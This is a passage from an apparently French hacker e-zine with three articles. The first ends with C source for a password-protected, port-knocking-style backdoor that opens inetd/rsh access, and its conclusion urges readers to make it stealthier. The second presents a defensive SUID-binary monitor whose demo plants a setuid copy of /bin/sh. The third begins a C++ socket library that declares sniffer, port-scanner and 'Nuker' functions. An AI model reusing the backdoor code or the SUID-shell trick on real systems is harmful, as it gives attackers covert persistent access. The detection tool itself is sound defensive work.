(mes != endvalue)) { memset(mes, 0, 1024); } } } if((ip->protocol) == 6){ if((ip->version == 6) && (informe == 1)){ open_door(inetd, rsh, pass, protected_mode, passv); } else { strcat(mes,"1"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { memset(mes, 0, 1024); } } } if((ip->protocol) == 17){ strcat(mes,"2"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { memset(mes, 0, 1024); } } } return 0; } int main(int argc, char *argv[]) { int inetd=0, rsh=0, destroy=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0; char *cle, *passv, *endvalue; cle = (char *)malloc(1024); passv = (char *)malloc(1024); endvalue = (char *)malloc(1024); endvalue = "22"; passv = "user"; cle = "21"; if((strcmp(PWD, getpass("password: "))) != 0) return 0; if (argc < 3){ usage(); } else { while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'i': inetd = 1; break; case 'r': rsh = 1; break; case 'p': pass = 1; passv = &argv[1][2]; break; case 'c': cle = &argv[1][2]; break; case 'e': endvalue = &argv[1][2]; break; case 'f': informe = 1; break; case 'd': ip_mode = 1; break; case 'a': protected_mode = 1; break; } --argc; ++argv; } } if (ip_mode == 1){ waiting_ip(inetd, rsh, pass, protected_mode, passv); } else { death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue); } return 0; } IV. Conclusion : ________________ La programmation de backdoors classiques n'aura plus aucun secret pour vous. J'espère avoir démontré comme il était simple d'exploiter la compléxité des réseaux, tant soit au niveau des procoles, qu'au niveau des systèmes de protection, qui hélas, reposent trop sur la vigilance et la bonne fortune des admnistrateurs... Sachez qu'il existe bien d'autres types de backdoors, mais celle que nous avons étudié se révèle être l'une des plus complexe à programmer. Le niveau de furtivité est, en revanche, trop bas pour être pris en considération. En effet, elle possède un défaut majeur : elle modifie la date de modification des fichiers auxquelles elle s'attaque (normal), il faudrait donc masquer la manipulation de ses fichiers en modificant cette date. Ainsi, Les plus courageux d'entre vous trouveront surement le temps de bidouiller ma trappe pour en resortir un résultat plus convainquant, en tous cas, je l'espère! Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr -[EOF] /* il parait que ça fait Ü£±Ìmű3 3£Ì±3 de mettre [eof] à la fin ;-) */ --------------------------------------------------------------------------------------- VIII. Surveillance des binaires SUID Neofox --------------------------------------------------------------------------------------- ###################################### #### Fichier Joint : #### #### Suid-Surveyor.1.0.tar.gz #### ###################################### [ Introduction ] VOici un article à tendance résoluement 'whitehat' pour une fois, et on ne va pas s'en plaindre. Ce texte va me servir de support pour vous présenter la version 1.0 d'un outil dont je viens juste de terminer la mise au point. Je l'ai bapthisé 'Suid Surveyor', le plus simplement du monde. Il a pour fonction d'alerter l'adiministrateur lorsque de nouveaux binaires suid sont ajoutés sur le système. Je ne vais pas rapeller l'interêt d'une inspection journalière du système à la recherche de binaires SUID suspects (type setuid backdoor) ; sachez simplement que ce prog peut être utlisé avec cron dans le cadre d'une surveillance continue. L'idée m'est venue d'implémenter ceci en C arpés être tombé sur un script comparable, en trainant sous FreeBSD. Cet outil a été testé avec succès sous Redhat et Slackware. En revanche, un bug m'a été signalé sous Mandrake. Il semblerait que fonction 'nftw()' servant à parcourir l'arboresence, retourne systématiquement une erreur, ce qui rend impossible la recherche dans les répertoires. Ce qui est d'autant plus curieux, c'est que ce problème n'a lieu que sous Mandrake. Je ne vois pas comment l'expliquer... Je n'ai pas pu tester mon outil sous toutes les distrib linux. Prevenez-moi si vous constatez un bug sous votre OS. ++++ | Partie 1 : Présentation | ++++ => Description => Programmation I. Description : ________________ [ L'idée ] Le principe est tout simple ; il consiste à parcourir une première fois l'ensemble des répertoires du système et de lister tout les binaires SUID trouvés dans un premier fichier. On répète ensuie l'opréation une seconde fois, et nous obtenons donc une seconde liste dans un nouveau fichier. On compare ensuite leur deux tailles. Si elles sont identiques tout est normal. En revanche si l'on constate que la taille du second fichier est supérieure à celle du premier, cela signifie qu'il comporte au moins une nouvelle entrée, ce qui correspond à un nouveau binaire SUID repéré sur la machine. Dans ce cas, un fichier de rapport est crée par défaut dans '/root' et le nom du nouveau binaire y est inscrit. [ Les fichiers ] Suid Surveyor v1.0 s'appuie sur 3 fichiers : ¤ /var/log/suid.yesterday : précédente liste des binaires SUID ¤ /var/log/suid.today : nouvelle liste des binaires SUID ¤ /root/suid.rapport : contient les noms des nouveaux binaires Par défaut, Suid Surveyor v1.0 est exécuté une fois par jour via cron, et pour ce faire, il utilise '/etc/cron.daily/suid'. Ce programme DOIT IMPERATIVEMENT être installé dans '/root', dans le cas contraire, vous devrez modifier les PATH du Makefile. [ L'installation ] J'insiste sur le fait qu'il est important de plaçer l'archive tar.gz dans /root, puis de la décompresser. Vous devez de ce fait procéder à l'instal- -lation EN TANT QUE ROOT ! Il est également important de respecter le nom et l'emplaçement du répertoire /root/Suid-Surveyor.1.0. Si vous souhaitez les modifier, il vous faudra modifier en conséquences les PATH dans le code source et le Makefile. L'installation est tout ce qu'il y a de plus simple, grâce à ce joli Makefile que MeiK m'a écrit ( il était pas beau mon install.sh ?? ). Voici le tout en *image* : [root@localhost /root]# pwd /root [root@localhost /root]# whoami root [root@localhost /root]# ls -al /root/*.tar.gz -rwxrwxr-x 1 root root 4214 oct 30 15:15 Suid-Surveyor.1.0.tar.gz [root@localhost /root]# gzip -cd *.tar.gz | tar xvf - Suid-Surveyor.1.0/ Suid-Surveyor.1.0/ss.c Suid-Surveyor.1.0/readme Suid-Surveyor.1.0/Makefile [root@localhost /root]# cd Suid-Surveyor.1.0 [root@localhost Suid-Surveyor.1.0]#ls Makefile readme ss.c [root@localhost Suid-Surveyor.1.0]# make cc -c -g -0 ss.c cc ss.o -o ss [root@localhost Suid-Surveyor.1.0]# make install install: ok! [root@localhost Suid-Surveyor.1.0]# ls -al /etc/cron.daily/suid -rwxrwxr-x 1 root root 46 oct 30 15:15 suid [root@localhost Suid-Surveyor.1.0]# cat /etc/cron.daily/suid #!/bin/sh /root/Suid-Surveyor.1.0/ss cron & [root@localhost Suid-Surveyor.1.0]# Vous constatez à l'issue de l'installation que le fichier 'suid' a été crée dans /etc/cron.daily. C'est grâce à lui que Suid Surveyor sera exécuté une fois par jour. [ Le fonctionnement ] Deux possibilités s'offrent à vous : soit vous pouvez exécuter l'outil manuellement et vous verrez s'affichier le résultat du scan à l'écran, soit vous laissez cron s'en charger. Voici les deux syntaxes : ¤ manuellement : # ./ss show ¤ avec cron : # ./ss cron & La syntaxe utilisée avec cron est celle inscrite dans /etc/cron.daily/suid. Voici à présent une démonstration du fonctionnement de mon outil : [root@localhost Suid-Surveyor.1.0]# ./ss **** Suid Surveyor v1.0 -by Neofox[IOC] **** This tool performs a scan throught the whole file system, then looks for new suspect suid binaries Usage: 1- ./ss cron & when it's run by cron 2- ./ss show to output the results [root@localhost Suid-Surveyor.1.0]# ./ss show *]- Suid Surveyor v1.0 -by Neofox[IOC] [1]- Updating logs... failed! [2]- Jumping to / ... done! [3]- Browsing directories... done! [4]- Setting logfile permission... done! [5]- Counting suid files : 103 [6]- Checking for new suid binaries... failed! [*]- Fatal error, aborting! [root@localhost Suid-Surveyor.1.0]# Cette erreur est normale ; il s'agit enfait de la première utilisation du programme. De ce fait, les fichiers 'suid.today' et 'suid.yesterday' n'existent pas. Il y a donc échec lors de la rotation des fichier de log. Par ailleurs, le programme va créer au cours de son exécution le fichier /var/log/suid.today. Mais comme il n'y a pas de fichier antérieur avec lequel le comparer, on obtient une "Fatal Error" et le programme met fin à son exécution. Voyons ce qui se passe lors d'une exécution normale : [root@localhost Suid-Surveyor.1.0]# ./ss show [*]- Suid Surveyor v1.0 -by Neofox[IOC] [1]- Updating logs... done! [2]- Jumping to / ... done! [3]- Browsing directories... done! [4]- Setting logfile permission... done! [5]- Counting suid files : 103 [6]- Checking for new suid binaries... done! [*]- SUID files allright! [root@localhost Suid-Surveyor.1.0]# mkidr /opt/.hacker [root@localhost Suid-Surveyor.1.0]# cp /bin/sh /opt/.hacker/shell_suid [root@localhost Suid-Surveyor.1.0]# chmod 6755 /opt/.hacker/shell_suid [root@localhost Suid-Surveyor.1.0]# ./ss show [*]- Suid Surveyor v1.0 -by Neofox[IOC] [1]- Updating logs... done! [2]- Jumping to / ... done! [3]- Browsing directories... done! [4]- Setting logfile permission... done! [5]- Counting suid files : 104 [6]- Checking for new suid binaries... done! **** WARNING **** //opt/.hacker/shell_suid is new [*]- Writting /root/suid.rapport... done! [*]- 1 new SUID binaries has been found since last check! [root@localhost Suid-Surveyor.1.0]# ls -al /root/suid.rapport -rw-r--r-- 1 root root 24 oct 30 15:20 suid.rapport [root@localhost Suid-Surveyor.1.0]# cat /root/suid/rapport //opt/.hacker/shell_suid [root@localhost Suid-Surveyor.1.0]# rm -f /opt/.hacker/* [root@localhost Suid-Surveyor.1.0]# ./ss show [*]- Suid Surveyor v1.0 -by Neofox[IOC] [1]- Updating logs... done! [2]- Jumping to / ... done! [3]- Browsing directories... done! [4]- Setting logfile permission... done! [5]- Counting suid files : 103 [6]- Checking for new suid binaries... done! [*]- SUID binaries removed since last check! [root@localhost Suid-Surveyor.1.0]# Prennez le temps de lire attentivement la démonstration cî-dessus, vous conviendrez que c'est on ne peut plus parlant ! Bien, il me reste manitenant à détailler un peu le code ss.c, et à faire la lumière sur quelques zones d'ombre. II. Programmation : ___________________ Je vais expliquer mon code petit à petit, mais uniquement les points qui m'on posé problème pendant la programmation. [ nftw() ] La première étape est de pouvoir naviguer depuis la racine, dans tous les répertoires et les sous-répertoires. Si on ne connait pas la fonction, on ne peut pas l'inventer ! Un gros pavé sur le C m'a tiré d'affaire. La fonction qui va nous dépanner est 'ftw()' qui siginfie "File Tree Walking" ou plus exactement nous allons utiliser sa cousine, nftw(), plus complète. Je tiens à vous prévenir desuite, cette fonction a une syntaxe à coucher dehors, dumoins à première vue ... elle est définie dans l'header 'ftw.h'. Je vous renvoie aux pages du man pour plus d'information. /* * nftw("/your/path"), // browse all dirs * scan_suid, // find suid binaries * 10, // depth * 1 // FTW_PHYS = 1 * ); * */ On va faire le point sur les arguments, histoire d'y voir plus clair : Le premier argument est le répertoire de départ. La fonction va partir de ce répertoire et parcourir en parcourir tous les sous-répertoires. Dans notre cas, nous devons partir de la racine. Le second argument est une sous fonction qui sera appliquée à chaque répertoire. J'ai crée pourcela la fonction 'scan_suid()' que j'aurais tout aussi bien pu apeller 'toto_par_a_la_campagne()', j'ai hésité, mais la première allait mieux. Notre sous fonction va pour chaque répertoire, l'ouvrir, le parcourir, lister les fichiers suid puis le refermer. Le troisième argument est la profondeur de recherche, c'est à dire le nombre maximum d'étages de l'arboresence à parcourir. J'ai mis 10, c'est déja pas mal, mettez 100 si ça vous chante. Enfin, le dernier argument est là pour faire 3ll3t, mais dans la pratique, il spécifie à nftw() de ne pas suivre les liens symboliques. Voici comment j'ai géré cette fonction dans mon code : -------8<---------------------------------------------------------------- /* * Here we go, let's have a look in our dirs ! */ fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++); if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){ fprintf(stdout,"failed!\n"); fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n"); exit(1); } -------8<---------------------------------------------------------------- [ strtok() ] Cette fonction définie dans 'string.h' n'intervient que beaucoup plus tard dans le prog, mais je la traite maintenant, non seulement parcequ'il me faut bien remplir mon article déja que j'en ai pas fait lourd, mais aussi parce que c'est le second point sur lequel j'ai bloqué. A ce stade du programme, nous nous trouvons dans la sous-fonction apellée 'find_new_entry()'. Nos deux fichiers de log, suid.yesterday et suid.today sont normalement crées. On a lu le contenu du premier et on la plaçé dans le buffer 'oldfile_buffer'. On a lu ensuite le conetnu du second fichier et on l'a plaçé dans 'newfile_buffer'. Le problèmes est que nous devons savoir si toutes les entrées de 'newfile_buffer' figurent ou non dans 'oldfile_buffer'. Pour cela, nous devons rechercher chaque entrée de 'newfile_buffer' dans 'oldfile_buffer' à l'aide de la fonction strstr(). Dans la réalité, vous l'aurez compris, une entrée correspond au nom d'un binaire suid. C'est ici qu'intervient strtok(). Cette fonction va nous permettre d'isoler chaque entrée du buffer 'newfile_buffer' et d'aller ensuite la compier dans une structure de notre conception. A l'aide de strstr() on peut ensuite rechercher séparemment chaque ligne du 'newfile_buffer' dans 'oldfile_buffer'. Si une ligne est présente dans le 'newfile_buffer' mais pas dans l'autre, c'est qu'il s'agit d'une nouvelle entrée, comprendre d'un nouveau binaire suid. Voici à présent l'extrait du code : -------8<---------------------------------------------------------------- while((read(newfile_input, newfile_buffer, MAX))>0){ // this is used to order datas, // one entry per line ptr = strtok(newfile_buffer,"\n"); while(ptr!=NULL){ strcpy(entry[line].name,ptr); line--; ptr = strtok(NULL,"\n"); } } // une fois le buffer segmenté, on peut rechercher séparrement // chaque entrée dans 'oldfile_buffer' r=0; found = 0; while((read(oldfile_input, oldfile_buffer, MAX))>0){ for(line=0;line /* frpintf */ #include /* strcmp, strtok */ #include /* hum ? */ #include /* is it useful ? */ #include /* stat, opendir */ #include /* stat */ #include /* open, close */ #include /* opendir, closedir */ #include /* perror */ #include /* nftw */ #include /* getpwuid */ /* Well known logfiles */ #define TODAY "/var/log/suid.today" #define YESTERDAY "/var/log/suid.yesterday" #define RAPPORT "/root/suid.rapport" #define SUID_MODE 0004000 // S_ISUID #define MAX 9999 // a big value FILE *output; int i, count; // main counters char buffer[500]; // well used buf struct stat file; /* current file status */ struct stat status; /* logfile status */ struct passwd *pwd; /* basic stuff */ void display_msg(){ fprintf(stdout,"\033[1;37m[*]- Suid Surveyor v1.0 -by Neofox[IOC]\n\033[0m"); } void display_help(char **argument){ fprintf(stdout,"\n\033[1;37m**** Suid Surveyor v1.0 -by Neofox[IOC] ****\033[0m\n" "This tool performs a scan throught the whole file\n" "system, then looks for new suspect suid binaries\n" "Usage: 1- %s cron & when it's run by cron\n" " 2- %s show to output the results\n\n", argument[0],argument[0]); exit(1); } /* * This is the easyest way to update logs, * the oldest logfile beeing replaced by * the newest one */ int logrotate(void){ if((stat(TODAY,&status))!=-1){ if((rename(TODAY,YESTERDAY))!=0) return -1; else return 0; } } /* End of Logrotate */ /* * This function will be used to save datas * in both the old and the new logfile, and * also to save results in an other */ int save_data(const char *logfile, const char *buffer, FILE * file_descriptor){ if((output=(fopen(logfile,"a+")))!=NULL){ count ++; /* writting into the logfile */ fprintf(output,"%s\n",buffer); } fclose(output); return 0; } /* * Here is the subfunction applied by nftw() * It lists suid binaries, then save the list * in the today logfile */ int scan_suid(const char *path, const struct stat *status, int flag){ DIR *dirp = 0; struct dirent *dp; flag = FTW_F; if ((dirp = opendir(path))!=NULL) { while((dp=readdir(dirp))!=0){ // this buf will store complete paths sprintf(buffer,"%s/%s",path,dp->d_name); if((stat(buffer,&file))!=-1){ if((file.st_mode&S_ISUID)){ if((save_data(TODAY,buffer,output))!=0) return -1; } } errno = 0; } if(errno!=0) return -1; if(closedir(dirp)==-1) return -1; } /* continue */ return 0; } /* * The compare() function is used to know if * the new logfile is the same than the old one * or not. If it's not, an unusual event may * happend, so we'll look further for a new entry. */ int compare(void){ int diff; off_t yesterday_size, today_size; if((stat(TODAY,&status))==-1){ return -2; goto end; } else today_size = status.st_size; if((stat(YESTERDAY,&status))==-1){ return -2; goto end; } else yesterday_size = status.st_size; // if sizes don't match if(today_size != yesterday_size){ // if the difference is positive */ if(today_size > yesterday_size){ // suid.today has grown bigger diff = today_size - yesterday_size; return 1; } else // if the difference is negative, // they are missing bytes! return -1; /* Otherwise, it's normal */ } else return 0; end: } /* * It's one of the most important function which will search * into the new logfile for a filename which is not written in * the old logfile. If there's one, it means that a new suid * binary has been added since the previous check */ int find_new_entry(const char *oldfile, const char *newfile, int nbr){ struct find { char name[500]; } entry[nbr]; FILE *rapport; int r, line, found; // counters int oldfile_input, newfile_input; char oldfile_buffer[MAX],newfile_buffer[MAX]; char *ptr; // used with strtok() // opening today logfile if((newfile_input=open(newfile,O_RDONLY))==-1){ perror("fopen newfile"); close(newfile_input); return -1; goto end; } // opening yesterday logfile if((oldfile_input=open(oldfile,O_RDONLY))==-1){ perror("fopen oldfile"); close(oldfile_input); return -1; goto end; } line = nbr; while((read(newfile_input, newfile_buffer, MAX))>0){ // this is used to order datas, // one entry per line ptr = strtok(newfile_buffer,"\n"); while(ptr!=NULL){ strcpy(entry[line].name,ptr); line--; ptr = strtok(NULL,"\n"); } } r=0; found = 0; while((read(oldfile_input, oldfile_buffer, MAX))>0){ for(line=0;linepw_name); exit(1); } /* Arguments check */ if(argc!=2) display_help(argv); if((strcmp(argv[1],"cron"))==0){ // if it's run directly by cron, // we close standart and errors outputs close(1); close(2); } else { if((strcmp(argv[1],"show"))==0) display_msg(); else display_help(argv); } step=1; // reset step counter fprintf(stderr,"\033[1;37m[%d]\033[0m- Updating logs... ",step++); if((logrotate())!=0) fprintf(stdout,"failed!\n"); else fprintf(stdout,"done!\n"); /* * Here, we need to chdir to "/" before launching the scan, * otherwise nftw() would only browse the current directory */ fprintf(stderr,"\033[1;37m[%d]\033[0m- Jumping to / ... ",step++); if(chdir("/")!=-1) fprintf(stdout,"done!\n"); else { fprintf(stdout,"failed!\n"); fprintf(stdout,"\033[1;37m[*]-\033[0m Fatal error, aborting!\n"); exit(1); } /* * Here we go, let's have a look in our dirs ! */ fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++); if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){ fprintf(stdout,"failed!\n"); fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n"); exit(1); } else { fprintf(stdout,"done!\n"); fprintf(stderr,"\033[1;37m[%d]\033[0m- Setting logfile permission... ",step++); if((chmod(TODAY,0600))==-1) fprintf(stdout,"failed!\n"); else fprintf(stdout,"done!\n"); } fprintf(stderr,"\033[1;37m[%d]\033[0m- Counting suid files: %d\n",step++,count); fprintf(stderr,"\033[1;37m[%d]\033[0m- Checking for new suid... ",step++); if((alert=(compare()))==0){ /* Everything is OK */ fprintf(stderr,"done!\n"); fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries allright !\n"); exit(1); } else { /* an error occurs with compare() */ if(alert==-2){ fprintf(stdout,"failed!\n"); fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n"); exit(1); } /* the size has become smaller */ if(alert==-1){ fprintf(stdout,"done!\n"); fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries removed since last check!\n"); } /* the size has grown bigger */ if(alert>0){ fprintf(stdout,"done!\n"); fprintf(stdout,"\n\a \033[1;31m**** WARNING ****\033[0m\n"); if((new=(find_new_entry(YESTERDAY,TODAY,count)))==-1){ fprintf(stdout,"erreur find"); exit(1); } fprintf(stdout,"\033[1;37m[*]-\033[0m %d SUID binaries added since last check!\n", new); } } return 0; } --------------8<------------ Makefile ------------------------------------------------------- CC = cc LD = cc CFLAGS = -g -O LDFLAGS = .SUFFIXES: .o .c .c.o: $(CC) -c $(CFLAGS) $< all: ss ss: ss.o $(LD) ss.o -o ss $(LDFLAGS) install: @echo "#!/bin/sh" > /etc/cron.daily/suid @echo "/root/Suid-Surveyor.1.0/ss cron &" >> /etc/cron.daily/suid @chmod +x /etc/cron.daily/suid @echo "install: ok!" clean: @rm -f *.o --------------8<-------------------------------------------------------------------------------- [ Conclusion ] N'hésitez pas à m'écrire pour me signaler un bug, me faire part d'une amélioration, ou pour tout autre commentaire. Vous pouver trouver cet outil en ligne ici : http://www.rootshell.be/~ioc/progs/secuirty/. Je voudrais remercier MeiK pour le Makefile ainsi que, Marcel, Jamu et Blashow pour m'avoir aidé à tester ce prog. Je profite de cette conlcusion pour vous conseiller un article intéressant: http://www.c2i2.com/~dentonj/system-hardening --------------------------------------------------------------------------------------- IX. C.A.P.R.U, librairie de classe de gestion Client/Socket* Marcel --------------------------------------------------------------------------------------- * : article également disponnible en version html à cette adresse : http://www.rootshell.be/~ioc/mag/issue5/capru.html /*************/ (vous pouvez si vous voulez inclure mes sites, http://www.emulators.fr.fm et http://www.hackside.fr.fm) /*************/ [ Introduction ] Désireux d'apporter ma faible contribution à IOC, je tenterai de vous expliquer dans ce bref cours la méthode que j'utilise pour créer des applications Client/Serveur en C++. J'ai créé une librairie de classes, pas encore totalement terminée, qui permet à tout programmeur qui les utilise de créer des applications en utilisant les sockets d'une manière simple, dans des programmes graphiques ou non (avec QT, GTK, ...). Qui dit simple pour l'utilisateur, dit compliqué pour le développeur ;-) Cette librairie se nomme "C.A.P.R.U" pour "Classes d'Applications et de Protocoles Réseaux sous Unix". Elle n'est donc qu'en version de développement et non accessible sur le Net, toutefois si un lecteur est désireux de les voir, en tant qu'extension de ce cours, je serai ravi de lui faire parvenir, à condition de ne pas les redistribuer, pas tant que ce ne sera une version finie (ie stable). Il va de soi que ces classes sont sous licence GNU/GPL. Pour me joindre, mailez-moi par *** emulators@fr.fm *** Ou bien laissez un message sur l'un de mes sites. Je vais donc essayer de vous montrer la partie la moins simple qui consiste à la mise en oeuvre des classes et à leur programmation, dans un contexte de réutilisation maximale du code, et de robustesse. J'ai voulu utiliser le C++ pour la mise en oeuvre de la programmation objet, ce qui permet une modularité et une meilleure gestion des erreurs. De même ma politique a été de rendre ces classes les plus polyvalentes possibles, afin de pouvoir être utilisées par un maximum de personnes. Dans ce cours je vais expliquer pas à pas la méthode que j'ai utilisé pour créer cette librairie, afin que vous puissiez vous en inspirer pour créer votre propre librairie ! N'hésitez surtout pas à me mailer pour me demander des détails supplémentaires. A noter qu'entre le moment où vous lirez ce tutorial et celui où la librairie sortira officiellement, elle pourra avoir beaucoup changé. Ce cours est une exclusivité pour IOC, il sera par la suite disponible sur mes sites. Si vous avez la possibilité, lisez ce texte avec la coloration syntaxique du C++ Sommaire : __________ 1. L'architecture : Dans un premier temps je vais vous parler de tous les alentours de la programmation socket c'est-à-dire l'architecture des classes et la gestion des erreurs. 2. Client/Serveur Universels : Ensuite nous verrons la mise en oeuvre des sockets pour créer un serveur ou un client universels. 3. Programmes et Protocoles : Puis nous verrons de quelle manière utiliser ces classes pour en créer d'autres afin de gérer différents protocoles comme POP3, SMTP, ... ou bien créer des applications telles que des sniffers, des nukers des scanners de ports, ect ... I. L'Architecture : ___________________ J'ai créé une classe de base, CBazSocket, qui est composée de quelques fonctions membres qui lui sont propres (classes d'affichage sur stdout), mais aussi de toutes les fonctions virtuelles, qui sont aussi redéfinies dans chaque classe fille. Voici le fichier header de la classe de base : /*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/ namespace client_serveur { class erreur { }; class CBazSocket { public : /*Fonctions annexes*/ void AfficherHeure(); void AfficherASCII(char *msg, long int taille); void AfficherHexa(char *msg, long int taille); /*Entrez une chaine et sa taille en paramètre, et je l'affiche à la manière d'un éditeur hexa (hexa + ascii)*/ void EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout = true); /*Ces 4 classes vont souvent êtr eutilisées pour l'affichage ou l'enregistrement dans un fichier texte*/ /*Fonctions virtuelles pour CServeur et CClient*/ virtual void Creer(); virtual void Options(int niveau, int option, char *valeur); virtual void Options(int niveau, int option, int valeur); virtual void Connecter(); virtual void Envoyer(char *msg, long int taille); virtual void Recevoir(long int taillemin, long int taillemax); virtual void Deconnecter(); char *buffsrv; long int taillebuffsrv; char *buffcli; long int taillebuffcli; /*Fonctions virtuelles pour CInformations*/ virtual void Serveur(char *nomserveur); virtual void Protocole(char *nomproto); virtual void Service(char *nomservice, char *nomproto); virtual void Reseau(char *nomserveur, unsigned short int type); /*Structure pour stocker un hote, un protocole, un service, ou un nom de réseau*/ struct hostent *he; /*Modifié par CInformations::Serveur(), par CInformations::CInformations(), CClient::CClient(), et par CClient::Creer()*/ struct protoent *prtcl; /*Modifié par CInformations::Protocole(), et par CInformations::CInformations()*/ struct servent *srvc; /*Modifié par CInformations::Service(), et par CInformations::CInformations()*/ struct netent *ntnt; /*Modifié par CInformations::Reseau(), et par CInformations::CInformations()*/ /*Fonctions virtuelles pour CApplications*/ virtual void ScannerMonoIP(char *nomserveur); virtual void ScannerMultiIP(char *nomserveurdep, char *nomserveurfin, unsigned short int port = 1025); virtual void Sniffer(unsigned short int adrssge); virtual void Nuker(char *nomserveur, char *msg, unsigned short int port = 139, unsigned long int nbrfois = 100); char *buffappl; long int taillebuffappl; /*Fonctions virtuelles pour CPOP3*/ virtual void ClientPOP3_Connecter(char *nomserveur); virtual void ClientPOP3_UserPass(char *user, char *pass); virtual void ClientPOP3_Stats(); virtual void ClientPOP3_Lister(unsigned long int numero = 0); virtual void ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0); virtual void ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10); virtual void ClientPOP3_EffacerMail(unsigned short int numero = 0); virtual void ClientPOP3_RestaurerTous(); virtual void ClientPOP3_Quitter(); virtual void ServeurPOP3(); char *buffpop3; long int taillebuffpop3; /*Entiers stockant en fait des sockets*/ long int srv; /*socket serveur local, modifié par CServeur::Creer();*/ long int srv_cli_cnt; /*socket utilisé lorsqu'un client distant se connecte au serveur local, modifié par CServeur::Connecter()*/ long int cli; /*socket client local, modifié par CClient::Creer()*/ /*Errorlevel*/ unsigned short int possible[10]; /*Paramètres du socket (entiers stockant les port, port d'envoi, domaine, type, et protocole des sockets, chaîne pour stocker un nom de serveur, ...)*/ unsigned short int adrssge; /*Doit contenir 4 pour IP4 et 6 pour IP6*/ char *nomserveur; /*Modifié par CClient::CClient()*/ unsigned short int port, domaine, type, protocole; /*Modifiés par CServeur::CServeur() et CClient::CClient()*/ unsigned short int portdenvoi; /*Modifié par CClient::CClient();*/ bool verbose; /*Si verbose vaut 'true', beaucoup de messages sont affichés, sinon aucun*/ short int affichage; /*Détermine le mode d'affichage des résultats des fonctions membres*/ bool ajout; char *chemin; /********************************/ /* Jusqu'à la fin de la classe, */ /* */ /*Données de stockage temporaire*/ /* utilisées par les classes */ /* CServeur et CClient */ /********************************/ /*Structures stockant l'identité des sockets*/ struct sockaddr_in sonin, monin; /*Pour la famille PF_INET*/ struct sockaddr_in6 sonin6, monin6; /*Pour la famille PF_INET6*/ struct sockaddr_ax25 *sonax25, *monax25; /*Pour la famille PF_AX25*/ struct sockaddr_ipx *sonipx, *monipx; /*Pour la famille PF_IPX*/ struct sockaddr_un *sonun, *monun; /*Pour la famille PF_UNIX,PF_LOCAL*/ /*Données membres statiques*/ static socklen_t sockaddr_in_len; /*vaut sizeof(struct sockaddr_in)*/ static socklen_t sockaddr_in6_len; /*vaut sizeof(struct sockaddr_in6)*/ static socklen_t sockaddr_ax25_len; /*vaut sizeof(struct sockaddr_ax25)*/ static socklen_t sockaddr_ipx_len; /*vaut sizeof(struct sockaddr_ipx)*/ static socklen_t sockaddr_un_len; /*vaut sizeof(struct sockaddr_un)*/ }; } /*Fin du namespace client_serveur*/ /*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/ Voici les 4 fonctions membres d'affichage : void CBazSocket::AfficherHeure() { time_t sectmp; struct tm *stmtmp = new tm; time(§mp); stmtmp = localtime(§mp); printf("%2d h. %2d m. %2d s.", stmtmp->tm_hour, stmtmp->tm_min, stmtmp->tm_sec); } /*---------------------------------------------------------------------------*/ void CBazSocket::AfficherASCII(char *msg, long int taille) { long int i; printf("%d octets à ", (int)taille); AfficherHeure(); printf("\n"); for (i=0; i < taille; i++) printf("%c", msg[i]); printf("\n"); } /*---------------------------------------------------------------------------*/ void CBazSocket::AfficherHexa(char *msg, long int taille) { long int i, j; unsigned short int a; char *b = new char[5]; printf("%d octets à ", (int)taille); AfficherHeure(); printf("\n"); for (i=0; i < taille; i++) { a = msg[i]; sprintf (b, "%04X ", a); /*Affiche 16 caractères en hexa*/ printf ("%c%c ", b[2], b[3]); if (! ((i+1)%16)) /*Affiche 16 caractères en ASCII*/ { cout << "\t"; for (j=i-15; j <= i; j++) { a = msg[j]; if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0))) a = 0x2E; printf("%c ", a); } printf("\n"); } } if (taille%16) { for (i=0; i < 16-(taille%16); i++) printf(" "); cout << "\t"; for (j=(taille-(taille%16)); j < taille; j++) { a = msg[j]; if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0))) a = 0x2E; printf("%c ", a); } } printf("\n"); } /*---------------------------------------------------------------------------*/ void CBazSocket::EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout) { FILE *fp; if (ajout) fp = fopen(chemin, "a"); else fp = fopen(chemin, "w"); if (fp == NULL) { if (verbose) perror("\tImpossible de créer ou d'ouvrir le fichier "); } else { if (fwrite(msg, sizeof(char), taille, fp) != (unsigned long int)taille) { if (verbose) perror("\tImpossible d'écrire dans le fichier (exemple, disque plein) "); } if (fclose(fp) == EOF) { if (verbose) perror ("\tImpossible de fermer le fichier "); } } } Vous remarquerez aussi que j'ai 